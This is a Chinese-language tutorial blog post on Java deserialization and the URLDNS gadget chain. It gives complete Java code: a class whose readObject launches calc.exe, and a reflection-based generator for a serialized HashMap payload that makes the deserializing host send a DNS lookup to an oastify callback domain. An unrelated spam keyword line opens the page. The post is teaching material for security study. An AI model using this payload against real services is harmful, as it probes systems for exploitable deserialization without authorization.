自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

JAVA URLDNS鏈分析利用

安全 應(yīng)用安全
Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實(shí)現(xiàn)Serializable接口從而將對象轉(zhuǎn)化為字節(jié)序列用于對對象數(shù)據(jù)進(jìn)行存儲轉(zhuǎn)移。

JAVA URLDNS鏈分析利用

認(rèn)識Java反序列化知識

Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實(shí)現(xiàn)Serializable接口從而將對象轉(zhuǎn)化為字節(jié)序列用于對對象數(shù)據(jù)進(jìn)行存儲轉(zhuǎn)移

舉例:

package org.example;//對象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
  private transient String name;//transient表示不會被序列化帶上后會發(fā)現(xiàn)后面name是null
  private int age;
  public Person(){

  }// 構(gòu)造函數(shù)
  public Person(String name, int age){
      this.name = name;
      this.age = age;
  }
  @Override
  public String toString(){
      return "Person{" +
              "name='" + name + '\'' +
              ", age=" + age +
              '}';
  }
  private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
      ois.defaultReadObject();//調(diào)用ois.defaultReadObject()讀取默認(rèn)對象字段
      Runtime.getRuntime().exec("calc.exe");//代碼執(zhí)行命令Runtime.getRuntime().exec("calc.exe")
  }                                       //來調(diào)用計(jì)算器應(yīng)用程序。
}//會彈出個計(jì)算機(jī)

序列化

package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);//獲得序列化數(shù)據(jù)生成ser.bin文件
  }
  public static void main(String[] args) throws Exception{
      Person person= new Person("aa",22);
      System.out.println(person);//打印
      serialize(person);              //序列化

打印并生成ser.bin文件。

能看出來一點(diǎn)點(diǎn)知道是序列化但要怎樣解出來具體內(nèi)容就要反序列化讀取或者分析源碼了。

反序列化

package org.example;//反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }

  public static void main(String[] args) throws Exception{
      Person person = (Person)unserialize("ser.bin");//反序列化強(qiáng)制轉(zhuǎn)換類型
      System.out.println(person);//打印
  }
}

成功彈出計(jì)算機(jī)。 但實(shí)際上像 Runtime.getRuntime().exec("calc.exe");這種不會直接調(diào)用這種危險(xiǎn)的方法的。

URLDNS鏈

URLDNS與版本無關(guān),這個攻擊是依賴于Java內(nèi)置類。

URLDNS反序列化鏈只能發(fā)起DNS請求無法進(jìn)行其他利用攻擊可作為驗(yàn)證是否有反序列化漏洞。

源碼

使用bp生成個鏈接。

package org.example;//正常urldns序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;

public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static void main(String[] args) throws Exception{
      HashMap<URL,Integer> hashmap= new HashMap<>();//new累
      URL url =new URL("http://ulj8wykdbqhab5ywew263gbyzp5kt9.oastify.com");//bp生成
      //Class c = url.getClass();
      //Field hashcodefield=c.getDeclaredField("hashCode");
      //hashcodefield.setAccessible(true);
      //int originalHashCode = hashcodefield.getInt(url);
      //hashcodefield.set(url,123);
      //int or = hashcodefield.getInt(url);
      //new之后 hashCode = -1 復(fù)制后 hashCode != -1就會發(fā)生dns請求

      hashmap.put(url,1);
      //int orr = hashcodefield.getInt(url);
      //hashcodefield.set(url,originalHashCode);
      //int orrr = hashcodefield.getInt(url);
//          如果在這個位置將hashCode 改回 -1 就不會發(fā)生dns請求從而可以通過dns請求是否發(fā)生來判斷是否反序列化
//        Person person = new Person("aa",22);
//        System.out.println(person);
      serialize(hashmap);
  }
package org.example;//反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
  public static void main(String[] args) throws Exception{
     unserialize("ser.bin");
  }
}

調(diào)試

先序列化運(yùn)行一次嘗試查看。

image-20230718150237706image-20230718150237706

我們運(yùn)行后發(fā)現(xiàn) **hashmap.put(url,1);**put后便發(fā)起了dns請求即會導(dǎo)致我們收到dns后無法判斷該dns是不是反序列化發(fā)出的。

查找DNS的原因

ctrl+單機(jī)左鍵分別跟進(jìn)函數(shù)。

URL

URL ——>public URL(String spec) throws MalformedURLException {
  private int hashCode = -1;//跟進(jìn)這個發(fā)現(xiàn)當(dāng)url被new出了 hashCode被賦值為-1

image-20230718161400289image-20230718161400289

image-20230718161743988image-20230718161743988

PUT

hashmap.put(url,1)
  put——>putVal(hash(key)
        hash——> (h = key.hashCode()) ^ (h >>> 16)
               hashCode

hashmap.put----.>

k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.pngk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150727563.png

k5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.pngk5hai-1311151548.cos.ap-shanghai.myqcloud.comk5hai-1311151548.cos.ap-shanghai.myqcloud.comimage-20230718150744365.png

hashmap.put----.>hash---->

image-20230718162025962image-20230718162025962

hashmap.put----.>hash---->hashCode---->

image-20230718162044876image-20230718162044876

image-20230718161400289image-20230718161400289

image-20230718163404677image-20230718163404677

hashmap.put----.>hash---->hashCode---->getHostAddress---->

image-20230718163555629image-20230718163555629

當(dāng)HashMap傳入一個URL時,會進(jìn)行一次DNS解析,并將hashCode賦值為-1 當(dāng)進(jìn)行put時就會觸發(fā)dns。

調(diào)用hash(key)方法,此時也會判斷key的hashMap,如果是-1則會觸發(fā)一次dns請求所以假設(shè)我們可以控制hashCode的值當(dāng)初次進(jìn)行hashmap.put(url,1);時我們將其改為其他值,hashmap.put(url,1)后再將其改回**-1**這樣就可通過DNS判斷是否反序列化.這個需要引入Java中的反射的知識。

hashmap.put----.>hash---->hashCode---->getHostAddress--->DNS

Java中的反射

概念

Java中的反射是指在運(yùn)行時動態(tài)地獲取類的信息并操作類的成員(字段、方法、構(gòu)造函數(shù)等)的能力。通過反射,可以在運(yùn)行時獲取類的信息,如類的名稱、父類、接口、字段、方法等,并且可以通過反射的API來動態(tài)地創(chuàng)建對象、調(diào)用方法、訪問和修改字段等。

Java的反射機(jī)制主要由以下幾個類和接口組成:

Class類:表示一個類或接口,在運(yùn)行時可以獲取類的信息,如名稱、父類、接口、字段、方法等。
Constructor類:表示一個構(gòu)造函數(shù),可以通過Constructor類來創(chuàng)建對象。
Field類:表示一個字段(成員變量),可以通過Field類來訪問和修改字段的值。
Method類:表示一個方法,可以通過Method類來調(diào)用方法。

個人理解:

反射就是中途改一些定義好或者生成好的數(shù)值,當(dāng)一個類。方法啥的在被調(diào)用是我們可以通過反射機(jī)制創(chuàng)造出一個一樣的并且這個我們可以對其屬性值進(jìn)行更改。

反射優(yōu)缺點(diǎn)

優(yōu)點(diǎn):

動態(tài)性:反射使得程序能夠在運(yùn)行時動態(tài)地獲取和操作類的信息,而不需要在編譯時就確定類的具體類型。這使得程序能夠更加靈活和適應(yīng)不同的情況。
擴(kuò)展性:通過反射,程序可以動態(tài)地加載和使用不同的類,從而實(shí)現(xiàn)更好的擴(kuò)展性。這在一些框架和插件系統(tǒng)中非常有用,可以讓程序在不修改代碼的情況下添加新的功能。
調(diào)試和分析:反射可以用于調(diào)試和分析程序。通過反射,可以獲取類的結(jié)構(gòu)信息,查看字段、方法、構(gòu)造函數(shù)等的屬性和值,幫助開發(fā)人員理解和排查問題。

缺點(diǎn):

性能開銷:反射通常比直接調(diào)用方法或訪問字段的方式更加耗時。這是因?yàn)榉瓷湫枰谶\(yùn)行時進(jìn)行額外的檢查和處理,包括訪問權(quán)限檢查、類型轉(zhuǎn)換等。因此,在性能要求較高的場景下,反射可能不是一個好的選擇。
安全性問題:反射可以繞過訪問權(quán)限的限制,讓程序可以訪問和修改本來不應(yīng)該被訪問的類、方法、字段等。這可能會引發(fā)安全漏洞,因此在使用反射時需要謹(jǐn)慎處理權(quán)限控制。
可讀性和維護(hù)性:使用反射可以讓代碼更加靈活和動態(tài),但也會增加代碼的復(fù)雜性和難度。反射的使用通常需要更多的代碼和更復(fù)雜的邏輯,這可能會降低代碼的可讀性和維護(hù)性。

反射的用途

在反序列化中他的作用就是改屬性值。

舉例

源碼

package org.example;//對象
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
  private transient String name;
  private int age;
  public Person(){

  }// 構(gòu)造函數(shù)
  public Person(String name, int age){
      this.name = name;
      this.age = age;
  }
  @Override
  public String toString(){
      return "Person{" +
              "name='" + name + '\'' +
              ", age=" + age +
              '}';
  }
}
package org.example;//反射

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class Reflectiontest {
  public static void main(String[] args) throws Exception{
      Person person = new Person();//new一個對象
      //整個Class類對象
      Class a = person.getClass();
      //開始操作Class
      //a.newInstance();無參
      //a.getConstructor();有參
      //從原型class實(shí)例化對象
      Constructor person_constructor = a.getConstructor(String.class,int.class);
//選擇合適的構(gòu)造函數(shù),根據(jù)參數(shù)類型選擇構(gòu)造函數(shù)(知道對象是一個名字一個年齡所以String.class,int.class)
      Person p = (Person) person_constructor.newInstance("小王",222);  //實(shí)例化一個類對象
      System.out.println(p);//打印

      Field  personfields =a.getDeclaredField("name");//獲取Person類的私有字段name
      personfields.setAccessible(true);//獲得私有成員的訪問限制
      personfields.set(p,"小李");//將name字段進(jìn)行更改
       System.out.println(p);//打印

      //下面是其他用法
      //獲取類里面的屬性
      //同時編輯多行 alt+shift+ins
      //      Field[] personfields = a.getFields();   //只能獲得public類型的屬性
      //      for(Field f:personfields){//打印
      //          System.out.println(f);
      //      }
      //Method[] aa=a.getMethods();//類或接口的所有公共方法
      //for (Method n:aa){        //批量打印
      //    System.out.println(n);
      //}
//        Field[] personfields1 = a.getDeclaredFields();   //可以獲取public,protected,private屬性
//        for(Field f:personfields1){
//            System.out.println(f);
//        }

      //獲取特定的屬性
      //Field namefield = a.getDeclaredField("sex");
      //如果遇到private屬性,需要用這個,表示可以修改;而public 和 protected可以直接修改
      //namefield.setAccessible(true);
//        namefield.set(p,"aaa");
//        System.out.println(p);

      //獲取方法,調(diào)用方法
      //得到所有方法
      //     Method[] personmethods = a.getMethods();
      //     for(Method i:personmethods){
      //         System.out.println(i);
      //     }

      //得到特定的方法
//        Method actionmethod  = a.getMethod("action", String.class);
//        actionmethod.invoke(p,"aaas");
//        System.out.println(p);
      //如果要調(diào)用私有方法,那么也是使用declared,還有setaccessible
  }
}

image-20230718184726771image-20230718184726771

注意:jdk9一搜可能出現(xiàn)。

image-20230718185016400image-20230718185016400

module java.base does not “opens java.lang” to unnamed module @1941a8ff//報(bào)錯出現(xiàn)什么將什么替換
  --add-opens java.base/java.lang=ALL-UNNAMED//在編譯配置中添加vm即可

module java.base does not “opens java.lang.reflect“ to unnamed module
  --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED

URLDNS攻擊鏈

鏈子:HashMap類的put方法中調(diào)用了hash()方法->HashMap類的hash()方法中調(diào)用了hashCode()方法。

package org.example;//序列化
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.util.HashMap;
import java.util.Map;
import java.net.URL;

public class SerializationTest {
  public static void serialize(Object obj) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
      oos.writeObject(obj);
  }

  public static void main(String[] args) throws Exception{
      HashMap<URL,Integer> hashmap= new HashMap<>();//開始
      URL url =new URL("http://qd7ybrqywdf1nej0k23pupu6lxrqff.oastify.com");//傳入url
      Class c = url.getClass();//反射
      Field hashcodefield=c.getDeclaredField("hashCode");//獲取hashCode參數(shù)
      hashcodefield.setAccessible(true);//獲得私有成員的訪問限制
      int originalHashCode = hashcodefield.getInt(url);//存一下初始值 -1
      hashcodefield.set(url,123);//修改hashCode的值
      int or = hashcodefield.getInt(url);//觀察修改后hashCode的值
      //new之后 hashCode = -1 復(fù)制后 hashCode != -1就會發(fā)生dns請求

      hashmap.put(url,1);//put
      int orr = hashcodefield.getInt(url);//沒啥用,只是為了在動態(tài)調(diào)試中觀察put后hashCode的數(shù)值
      hashcodefield.set(url,originalHashCode);//修改回hashCode的值 -1
      int orrr = hashcodefield.getInt(url);//沒啥用,只是為了在動態(tài)調(diào)試中觀察hashCode的數(shù)值
//          如果在這個位置將hashCode 改回 -1 就不會發(fā)生dns請求從而可以通過dns請求是否發(fā)生來判斷是否反序列化
      serialize(hashmap);
  }
}
package org.example;//反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
  public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
      Object obj = ois.readObject();
      return obj;
  }
  public static void main(String[] args) throws Exception{
//        Person person = (Person)unserialize("ser.bin");
//        System.out.println(person);
      unserialize("ser.bin");
  }
}

運(yùn)行看一下:

image-20230718204643435image-20230718204643435

發(fā)現(xiàn)序列化后并沒有發(fā)起請求。

反序列化

image-20230718205141538image-20230718205141538

可以觀察到反序列化后發(fā)起了DNS請求,這說明我們的URLDNS鏈制作完成,我們可以通過DNS請求判斷是否發(fā)生反序列化。

動調(diào)觀察一下 hashCode的值。

image-20230718205903994image-20230718205903994

發(fā)現(xiàn)和我們設(shè)想的較為一致。

自此URLDNS鏈算是結(jié)束了,初始java反序列化感覺巨難但多看幾遍自己調(diào)試幾遍感覺也還可用哈!!!

本文作者:k5haioo, 轉(zhuǎn)載請注明來自FreeBuf.COM

責(zé)任編輯:武曉燕 來源: FreeBuf.COM
相關(guān)推薦

2023-09-13 07:02:23

2020-04-22 13:33:30

iPhone蘋果3C制造業(yè)

2011-06-22 17:18:13

外鏈

2022-04-02 14:13:22

區(qū)塊鏈法律美國

2024-03-22 09:56:48

供應(yīng)鏈分析大數(shù)據(jù)

2022-03-07 14:24:05

供應(yīng)鏈分析大數(shù)據(jù)數(shù)據(jù)分析

2022-02-09 14:18:58

供應(yīng)鏈分析數(shù)據(jù)分析大數(shù)據(jù)

2020-09-22 10:05:14

AsyncRAT

2011-02-24 10:06:02

2011-04-15 10:05:39

甲骨文Oracle

2013-03-22 10:00:14

2022-01-10 10:03:06

區(qū)塊鏈加密貨幣安全

2009-02-04 10:30:47

2022-09-27 14:46:03

網(wǎng)絡(luò)安全計(jì)算機(jī)惡意軟件

2020-12-25 15:24:24

人工智能

2024-09-02 22:51:59

結(jié)構(gòu)化架構(gòu)模型

2016-09-29 14:37:39

ImageMagick漏洞分析

2017-12-20 09:52:50

2009-07-04 21:19:04

2021-01-20 08:30:00

數(shù)據(jù)分析機(jī)器學(xué)習(xí)IT
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號